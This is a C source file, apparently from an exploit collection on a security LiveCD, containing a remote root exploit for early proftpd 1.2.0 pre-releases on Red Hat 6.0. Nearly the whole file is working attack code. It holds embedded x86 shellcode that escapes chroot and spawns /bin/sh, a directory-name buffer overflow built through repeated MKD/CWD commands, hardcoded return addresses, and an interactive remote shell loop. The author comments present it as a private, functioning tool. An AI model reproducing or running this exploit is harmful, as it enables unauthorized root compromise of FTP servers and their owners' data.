home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / proftpd / pro.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  348 lines

  1. /*
  2.  * !!!! Private .. ... distribute !!!!
  3.  *
  4.  * <pro.c> proftpd-1.2.0 remote root exploit (beta2)
  5.  * (Still need some code, but it works fine)
  6.  *
  7.  * Offset: Linux Redhat 6.0
  8.  * 0 -> proftpd-1.2.0pre1 
  9.  * 0 -> proftpd-1.2.0pre2
  10.  * 0 -> proftpd-1.2.0pre3
  11.  * (If this dont work, try changing the align)
  12.  *
  13.  * Usage:
  14.  * $ cc pro.c -o pro
  15.  * $ pro 1.1.1.1 ftp.linuz.com /incoming 
  16.  *
  17.  * ****
  18.  * Comunists are still alive ph34r
  19.  * A lot of shit to : #cybernet@ircnet
  20.  * Greez to Soren,Draven,DaSnake,Nail^D0D,BlackBird,scaina,cliffo,m00n,phroid,Mr-X,inforic
  21.  *          Dialtone,AlexB,naif,etcetc
  22.  * without them this puppy cant be spreaded uaz uaz uaz
  23.  * ****    
  24.  *          
  25.  
  26. #include <stdio.h> 
  27. #include <unistd.h>
  28. #include <stdlib.h>
  29. #include <signal.h>
  30. #include <time.h>
  31. #include <string.h>
  32. #include <ctype.h>
  33. #include <sys/types.h>
  34. #include <sys/socket.h>
  35. #include <netinet/in.h>
  36. #include <arpa/inet.h>
  37. #include <arpa/nameser.h>
  38. #include <netdb.h>
  39.  
  40. #define RET 0xbffff550
  41. #define ALINEA 0
  42.  
  43. void logintoftp();
  44. void sh();
  45. void mkd(char *);
  46. void put(char *);
  47. int max(int, int);
  48.  
  49. char shellcode[] =
  50. "\x90\x90\x31\xc0\x31\xdb\xb0\x17"
  51. "\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
  52. "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
  53. "\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0"
  54. "\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
  55. "\xcd\x80\x31\xc0\x8d\x5e\x05\xb0"
  56. "\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
  57. "\xd0\xff\xf7\xdb\x31\xc9\xb1\x10"
  58. "\x56\x01\xce\x89\x1e\x83\xc6\x03"
  59. "\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10"
  60. "\xcd\x80\x31\xc0\x88\x46\x07\x89"
  61. "\x76\x08\x89\x46\x0c\xb0\x0b\x89"
  62. "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
  63. "\x80\xe8\xac\xff\xff\xff";
  64.  
  65. char tmp[256];
  66. char name[128], pass[128];
  67.  
  68. int sockfd;
  69. struct sockaddr_in server, yo;
  70. char inicio[20];
  71.  
  72. int main(int argc, char **argv) {
  73.  
  74. char sendln[1024], recvln[4048], buf1[1000], buf2[200];
  75. struct hostent *host;
  76. char *p, *q;
  77. int len;
  78. int offset = 0;
  79. int align = 0;
  80. int i;
  81.  
  82. if(argc < 4){
  83.         printf("usage: pro <your_ip> <host> <dir> [-l name pass] [offset align]\n");
  84.         printf("If dont work, try different align values (0 to 3)\n");
  85.         exit(0); }
  86.                 
  87. if(argc >= 5){
  88.         if(strcmp(argv[4], "-l") == 0){
  89.         strncpy(name, argv[5], 128);
  90.         strncpy(pass, argv[6], 128);
  91. } else {
  92.         offset = atoi(argv[4]); }
  93.         if(argc == 9)
  94.         offset = atoi(argv[7]);
  95.         align = atoi(argv[8]); }
  96.         
  97. sprintf(inicio, "%s", argv[1]);
  98.                 
  99. if(name[0] == 0 && pass[0] == 0){
  100.         strcpy(name, "anonymous");
  101.         strcpy(pass, "a@a.es"); }
  102.  
  103. bzero(&server,sizeof(server));
  104. bzero(recvln,sizeof(recvln));
  105. bzero(sendln,sizeof(sendln));
  106. server.sin_family=AF_INET;
  107. server.sin_port=htons(21);
  108.  
  109. if((host = gethostbyname(argv[2])) != NULL) {
  110.         bcopy(host->h_addr, (char *)&server.sin_addr, host->h_length);
  111. } else {
  112.         if((server.sin_addr.s_addr = inet_addr(argv[2]))<1) {
  113.                 perror("Obteniendo ip");
  114.                 exit(0); }
  115.         }
  116.  
  117. bzero((char*)&yo,sizeof(yo));
  118. yo.sin_family = AF_INET;
  119.  
  120. if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
  121.         perror("socket()");
  122.         exit(0); }
  123.  
  124. if((bind(sockfd, (struct sockaddr *)&yo, sizeof(struct sockaddr)))<0) {
  125.         perror("bind()");
  126.         exit(0); }
  127.  
  128. if(connect(sockfd, (struct sockaddr *)&server, sizeof(server)) < 0){
  129.         perror("connect()");
  130.         exit(0); }
  131.         
  132. printf("Destination_ip: %s \nDestination_port: %d\nSource_ip: %s \nSource_port: %d\n",
  133. inet_ntoa(server.sin_addr), ntohs(server.sin_port), inet_ntoa(yo.sin_addr),
  134. ntohs(yo.sin_port));
  135.         
  136. printf("Connected\n");
  137. getchar();
  138.                
  139. while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
  140.         recvln[len] = '\0';
  141.         if(strchr(recvln, '\n') != NULL)
  142.         break; }
  143.                         
  144. logintoftp(sockfd);
  145. printf("Logged\n");
  146. bzero(sendln, sizeof(sendln));
  147.  
  148. memset(buf1, 0x90, 800);
  149. memcpy(buf1, argv[3], strlen(argv[3]));
  150. mkd(argv[3]);
  151. p = &buf1[strlen(argv[3])];
  152. q = &buf1[799];
  153. *q = '\x00';
  154. while(p <= q) {
  155.         strncpy(tmp, p, 100);
  156.         mkd(tmp);
  157.         p+=100; }
  158.  
  159. mkd(shellcode);
  160. mkd("bin");
  161. mkd("sh");
  162.  
  163. memset(buf2, 0x90, 100);
  164. for(i=4-ALINEA-align; i<96; i+=4)
  165.         *(long *)&buf2[i] = RET + offset;
  166. p = &buf2[0];
  167. q = &buf2[99];
  168. strncpy(tmp, p, 100);
  169. put(tmp);
  170.  
  171. sh(sockfd);
  172.  
  173. close(sockfd);
  174. printf("EOF\n");
  175. }
  176.  
  177. void mkd(char *dir) {
  178.         
  179. char snd[1024], rcv[1024];
  180. char buf[1024], *p;
  181. int n;
  182.         
  183. bzero(buf,sizeof(buf));
  184. p=buf;
  185.  
  186. for(n=0;n<strlen(dir);n++) {
  187.         if(dir[n]=='\xff') {
  188.                 *p='\xff';
  189.                 p++; }
  190.         *p=dir[n];
  191.         p++; }
  192.  
  193. sprintf(snd,"MKD %s\r\n",buf);
  194. write(sockfd,snd,strlen(snd));
  195. bzero(snd,sizeof(snd));
  196. sprintf(snd,"CWD %s\r\n",buf);
  197. write(sockfd,snd,strlen(snd));
  198. bzero(rcv,sizeof(rcv));
  199.  
  200. while((n=read(sockfd,rcv,sizeof(rcv)))>0) {
  201.         rcv[n]=0;
  202.         if(strchr(rcv,'\n')!=NULL)
  203.                 break; }
  204.         return;
  205. }
  206.  
  207. void put(char *dir) {
  208.  
  209. char snd[1024], rcv[1024];
  210. char buf[1024], *p;
  211. int n;
  212. int sockete, nsock;
  213. int port;
  214. int octeto_in[4];
  215. char *oct;
  216.         
  217. port=getpid()+1024;
  218.  
  219. yo.sin_port=htons(port);
  220.         
  221. bzero(buf,sizeof(buf));
  222. p=buf;
  223. for(n=0;n<strlen(dir);n++) {
  224.         if(dir[n]=='\xff') {
  225.                 *p='\xff';
  226.                 p++; }
  227.         *p=dir[n];
  228.         p++; }
  229.  
  230. oct=(char *)strtok(inicio,".");
  231. octeto_in[0]=atoi(oct);
  232. oct=(char *)strtok(NULL,".");
  233. octeto_in[1]=atoi(oct);
  234. oct=(char *)strtok(NULL,".");
  235. octeto_in[2]=atoi(oct);
  236. oct=(char *)strtok(NULL,".");
  237. octeto_in[3]=atoi(oct);
  238.  
  239. sprintf(snd,"PORT %d,%d,%d,%d,%d,%d\r\n",octeto_in[0],octeto_in[1],
  240. octeto_in[2],octeto_in[3],port / 256,port % 256);
  241. write(sockfd,snd,strlen(snd));
  242.  
  243. // socket
  244. // bind
  245. // listen
  246. if((sockete=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
  247.         perror("Socket()");
  248.         exit(0); }
  249.                         
  250. if((bind(sockete,(struct sockaddr *)&yo,sizeof(struct sockaddr)))==-1) {
  251.         perror("Bind()");
  252.         close(sockete);
  253.         exit(0); }
  254.  
  255. if(listen(sockete,10)==-1) {
  256.         perror("Listen()");
  257.         close(sockete);
  258.         exit(0); }
  259.  
  260. bzero(snd, sizeof(snd));
  261. sprintf(snd, "STOR %s\r\n", buf);
  262. write(sockfd, snd, strlen(snd));
  263.  
  264. // accept
  265. // write
  266. // close 
  267. if((nsock=accept(sockete,(struct sockaddr *)&server,(int *)sizeof(struct sockaddr)))==-1) {
  268.         perror("accept()");
  269.         close(sockete);
  270.         exit(0); }
  271.         
  272. write(nsock, "aaaaaaaaa", 10);
  273.  
  274. close(sockete);
  275. close(nsock);
  276.  
  277. bzero(rcv, sizeof(rcv));
  278. while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
  279.         rcv[n] = 0;
  280.         if(strchr(rcv, '\n') != NULL)
  281.                 break; }
  282.         return; 
  283. }
  284.  
  285. void logintoftp() {
  286.  
  287. char snd[1024], rcv[1024];
  288. int n;
  289.  
  290. printf("Logging %s/%s\n", name, pass);
  291. memset(snd, '\0', 1024);
  292. sprintf(snd, "USER %s\r\n", name);
  293. write(sockfd, snd, strlen(snd));
  294.  
  295. while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
  296.         rcv[n] = 0;
  297.         if(strchr(rcv, '\n') != NULL)
  298.                 break; }
  299.  
  300. memset(snd, '\0', 1024);
  301. sprintf(snd, "PASS %s\r\n", pass);
  302. write(sockfd, snd, strlen(snd));
  303.  
  304. while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
  305.         rcv[n] = 0;
  306.         if(strchr(rcv, '\n') != NULL)
  307.                 break; }
  308.         return;
  309. }
  310.  
  311. void sh() {
  312.         
  313. char snd[1024], rcv[1024];
  314. fd_set rset;
  315. int maxfd, n;
  316.  
  317. strcpy(snd, "cd /; uname -a; pwd; id;\n");
  318. write(sockfd, snd, strlen(snd));
  319.  
  320. for(;;){
  321.         FD_SET(fileno(stdin), &rset);
  322.         FD_SET(sockfd, &rset);
  323.         maxfd = max(fileno(stdin), sockfd) + 1;
  324.         select(maxfd, &rset, NULL, NULL, NULL);
  325.         if(FD_ISSET(fileno(stdin), &rset)){
  326.                 bzero(snd, sizeof(snd));
  327.                 fgets(snd, sizeof(snd)-2, stdin);
  328.                 write(sockfd, snd, strlen(snd)); }
  329.         if(FD_ISSET(sockfd, &rset)){
  330.                 bzero(rcv, sizeof(rcv));
  331.                 if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
  332.                         printf("EOF.\n");
  333.                         exit(0); }
  334.                 if(n < 0){
  335.                         perror("read()");
  336.                         exit(-1); }
  337.                  fputs(rcv, stdout); }
  338.         }
  339. }
  340.  
  341. int max(int x, int y) {
  342.  
  343. if(x > y)
  344.         return(x);
  345. else
  346.         return(y);
  347. }
  348.